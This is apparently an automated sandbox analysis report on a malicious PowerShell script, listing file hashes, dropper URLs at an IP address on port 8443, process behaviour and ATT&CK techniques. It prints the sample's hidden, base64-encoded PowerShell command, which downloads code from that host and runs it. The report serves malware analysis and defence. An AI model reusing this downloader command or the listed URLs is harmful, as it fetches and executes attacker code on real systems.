d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
04/09/2024, 02:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6.ps1
Size

1KB
MD5

506ab5ff15cbec266b783816aca9f5d0
SHA1

761fe13954ee140c3a32a058ca7654a3a6090a02
SHA256

d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6
SHA512

b8680737d8afe1dd1fff2a6ca919630c033cb5b7233a5f2bfebf7b629f28f341ffd4eb47b2a14df5d56b21187107c8fdf79fc7d93ace39891571108ca51aeece

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://207.154.255.134:8443/ZIen7RH/1zFNrVrn0

ps1.dropper

http://207.154.255.134:8443/ZIen7RH

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	1324	powershell.exe
5	1324	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
292	powershell.exe
1324	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
292	powershell.exe
1324	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	292	powershell.exe
Token: SeDebugPrivilege	1324	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 292 wrote to memory of 1324	292	powershell.exe	31
PID 292 wrote to memory of 1324	292	powershell.exe	31
PID 292 wrote to memory of 1324	292	powershell.exe	31

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABsAE4AbwBpAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGwATgBvAGkALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABsAE4AbwBpAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADcALgAxADUANAAuADIANQA1AC4AMQAzADQAOgA4ADQANAAzAC8AWgBJAGUAbgA3AFIASAAvADEAegBGAE4AcgBWAHIAbgAwACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAyADAANwAuADEANQA0AC4AMgA1ADUALgAxADMANAA6ADgANAA0ADMALwBaAEkAZQBuADcAUgBIACcAKQApADsA
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6275527caf77ed5640d7183f42f026b8

SHA1
3623015186cdaa0ed18f995058e75fedef9accbc

SHA256
9ecd4cdd4dbe1761e4d8895137098b9909eece9ceb34956644cb51f7beca2212

SHA512
3ee4af03335b16cca1f81a886830e351e45e4c5a075e173c2fee527b748c3e8a7e5260ceed7f463f8c30930575365f9647622cd62e110d35ab180872870811ae

Download Submit
memory/292-7-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/292-5-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/292-4-0x000007FEF598E000-0x000007FEF598F000-memory.dmp

Filesize
4KB

Download
memory/292-8-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/292-9-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/292-6-0x0000000002220000-0x0000000002228000-memory.dmp

Filesize
32KB

Download
memory/292-16-0x000007FEF598E000-0x000007FEF598F000-memory.dmp

Filesize
4KB

Download
memory/292-17-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/292-20-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/1324-15-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/1324-18-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/1324-19-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download